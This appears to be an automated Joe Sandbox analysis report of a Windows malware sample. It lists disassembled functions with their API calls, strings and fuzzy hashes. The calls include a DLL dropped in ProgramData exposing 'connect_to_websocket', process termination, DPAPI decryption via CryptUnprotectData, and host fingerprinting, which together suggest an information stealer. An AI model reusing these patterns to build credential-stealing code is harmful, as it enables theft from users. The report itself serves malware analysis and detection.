Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 62dd4eb8aaf485a9b3b424bef752cb1b9e720914b8e7beaa3b58e856919e7599
Instruction ID: c85deeef17d72a94dc1f170446f25d55197e78b42259dde6f56d7dfc7a2e5770
Opcode Fuzzy Hash: 62dd4eb8aaf485a9b3b424bef752cb1b9e720914b8e7beaa3b58e856919e7599
Instruction Fuzzy Hash: 40917572A001049BCB14FBB1ED96DED733DAF84344F00456EF90666185EE38AB5CCB9A

Function 0040A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098
GetProcAddress.KERNEL32(6CFF0000,connect_to_websocket), ref: 0040A0BE
GetProcAddress.KERNEL32(6CFF0000,free_result), ref: 0040A0D5
FreeLibrary.KERNEL32(6CFF0000,?,004108E4), ref: 0040A0F9

Strings

C:\ProgramData\chrome.dll, xrefs: 0040A093
connect_to_websocket, xrefs: 0040A0B3
free_result, xrefs: 0040A0C9

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 41317d004e32df3368e0b40b2df30f060e9b3f1c7a199a11b2b6647de007d5a9
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 57F01DB4E0E324EFD7009B60ED48B563BA6E318341F506437F505AB2E0E3B85494CB6B

Function 004198E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00419905
Process32First.KERNEL32(00409FDE,00000128), ref: 00419919
Process32Next.KERNEL32(00409FDE,00000128), ref: 0041992E
StrCmpCA.SHLWAPI(?,00409FDE), ref: 00419943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0041995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041997A
CloseHandle.KERNEL32(00000000), ref: 00419987
CloseHandle.KERNEL32(00409FDE), ref: 00419993

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction ID: 9e175830caf9148bd7a219e001ec971bef60eefc02138b6d75eb658f8e5d4480
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 94112EB5E15218ABCB24DFA0DC48BDEB7B9BB48700F00558DF509A6240EB749B84CF91

Function 0040E530 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D79), ref: 0040E5A2
StrCmpCA.SHLWAPI(?,004215F0), ref: 0040E5F2
StrCmpCA.SHLWAPI(?,004215F4), ref: 0040E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0040ECDF

Strings

@, xrefs: 0040ECF5, 0040E6EB, 0040E81C, 0040E95B, 0040E5B9, 0040E6EE, 0040E81F, 0040E95E
\*.*, xrefs: 0040E54D

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: fd4b8a02529220b5ed0f2464db00e78548197825fe913ecccb08edd01f2acd1a
Instruction ID: 078a0cb4b8b1302ba7a9d85fb6124db0b21cd0ebb254cebb7c4a92464ee22dab
Opcode Fuzzy Hash: fd4b8a02529220b5ed0f2464db00e78548197825fe913ecccb08edd01f2acd1a
Instruction Fuzzy Hash: A6128431A111185BCB14FB61DCA6EED7339AF54314F4045EFB10A62095EF386F98CB9A

Function 00417D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
LocalFree.KERNEL32(00000000), ref: 00417EB2

Strings

/ , xrefs: 00417E0F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction ID: 3a7f69f4b1fea99afaf6d133ce9a777b30b3333c02d8fb4e8698743120f63e4e
Opcode Fuzzy Hash: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction Fuzzy Hash: 1C416D71945218ABCB24DB94DC99BEEB374FF44704F2041DAE10A62280DB386FC4CFA9

Function 00419790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004197AE
Process32First.KERNEL32(00420ACE,00000128), ref: 004197C2
Process32Next.KERNEL32(00420ACE,00000128), ref: 004197D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004197EC
CloseHandle.KERNEL32(00420ACE), ref: 0041980A

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: 1fbe04e52da5ee7ffdaa7b0a109f2e7c212eef70923f216ae4cda371332784c4
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 49010C75E15209EBDB20DFA4CD54BDEB7B9BB08700F14469AE50996240E7349F80CF61

Function 00418810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Process32First.KERNEL32(?,00000128), ref: 0041886E
Process32Next.KERNEL32(?,00000128), ref: 00418883

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

CloseHandle.KERNEL32(?), ref: 004188F1

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction ID: f2962352e5a9518fad6621e76df9ccdb14d3c152e16a9ee82315e1f5505f4b94
Opcode Fuzzy Hash: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction Fuzzy Hash: 0E318171A02158ABCB24DF55DC55FEEB378EF04714F50419EF10A62190EB386B84CFA5

Function 00419030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction ID: a6271c561c9c1d5471e6a4d7c0a7a185f0e3b346a55a3ee80b23d48c8130208f
Opcode Fuzzy Hash: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction Fuzzy Hash: 6C11F874604208EFDB00CF54D894BAB37A9AF89310F109449F91A8B350D779ED818BA9

Function 0040A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
memcpy.MSVCRT(?,?,?), ref: 0040A316
LocalFree.KERNEL32(?), ref: 0040A323

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: b2ce5641e7fa807fe786f78e48a01c4c7ef199da86c861ee62a52048bf8154be
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 3611ACB4900209DFCB04DF94D988AAE77B5FF88300F104559ED15A7350D734AE50CF61

Function 00417BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02F755B8,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D
wsprintfA.USER32 ref: 00417C47

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: b2a27aae97358dcb217157a2278e60ef806da717b76b9d8dbc6f71207b10123d
Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: C011A1B1E0A228EBEB208B54DC45FA9BB79FB45711F1003D6F619932D0E7785A808B95

Function 004179E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction ID: 9b82aaaa51ecd1631f431d3f1c3dae0ecd6dc6cababe86b84151973db8bb3773
Opcode Fuzzy Hash: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction Fuzzy Hash: 80F04FB1D49249EBC700DF98DD45BAEBBB8EB45711F10021BF615A2680D7755640CBA1

Function 00418060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E14), ref: 00418090
wsprintfA.USER32 ref: 004180A6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction ID: 08512fc152d1616d0ad9ea22e4a9698bc695f8d0908738fe214e90ce4e812d63
